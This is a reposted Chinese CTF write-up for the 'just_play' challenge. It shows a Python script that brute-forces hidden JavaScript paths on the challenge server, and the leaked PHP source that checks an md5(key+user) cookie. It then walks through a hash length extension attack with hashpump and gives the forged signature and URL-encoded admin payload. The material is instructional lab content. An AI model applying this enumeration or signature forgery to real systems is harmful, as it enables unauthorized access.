BMZCTF:just_play
Posted 末 初
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BMZCTF:just_play相关的知识,希望对你有一定的参考价值。
http://www.bmzclub.cn/challenges#just_play
打开是个小游戏,保存源码本地修改参数赢得比赛后发现没啥信息。继续观察发现
http://www.bmzclub.cn:20351/js/[ahxinb]{2}ctf[0-9]{2}.js
使用Python简单爆破下这个正则的所有匹配项
from requests import *
#http://www.bmzclub.cn:20351/js/[ahxinb]{2}ctf[0-9]{2}.js
url = 'http://www.bmzclub.cn:20351'
p1 = 'ahxinb'
for i1 in range(len(p1)):
for i2 in range(len(p1)):
part1 = '{}{}'.format(p1[i1],p1[i2])
for p2 in range(100):
part2 = '{:02d}'.format(p2)
webpath = '/js/{}ctf{}.js'.format(part1,part2)
myurl = '{}{}'.format(url,webpath)
resp = get(url=myurl)
if resp.status_code == 200:
print('[+]{} -> {}'.format(myurl,resp.status_code))
else:
continue
访问http://www.bmzclub.cn:20351/js/bhctf76.js
得到一段php源码
//getf1ag.php
$user=$_POST['user'];
function encrypt($text){
global $key;
return md5($key.$text);
}
if (encrypt($user)===$_COOKIE['verify']) {
if(is_numeric(strpos($user,'admin'))){
echo file_get_contents('/flag');
}
else{
die('not admin!!!');
}
}
else{
setcookie("verify",encrypt("guest"),time()+60*60*24);
setcookie("len",strlen($key),time()+60*60*24);
}
分析下源码就知道很明显是哈希长度扩展攻击:
- 未知
$key
,从cookie中知道长度为32
- 从cookie中能得知
md5($key.'guest')
的签名 - cookie中的
verify
和提交数据的user
可控
使用hashpump
直接获得签名和数据
ba5f9c6541ecad6c552ff138cfcbdb28
guest\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00(\\x01\\x00\\x00\\x00\\x00\\x00\\x00admin
将数据中的\\x
全部替换成%
,然后注意将其中一个括号(
urlencode一下得到
user=guest%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%28%01%00%00%00%00%00%00admin
以上是关于BMZCTF:just_play的主要内容,如果未能解决你的问题,请参考以下文章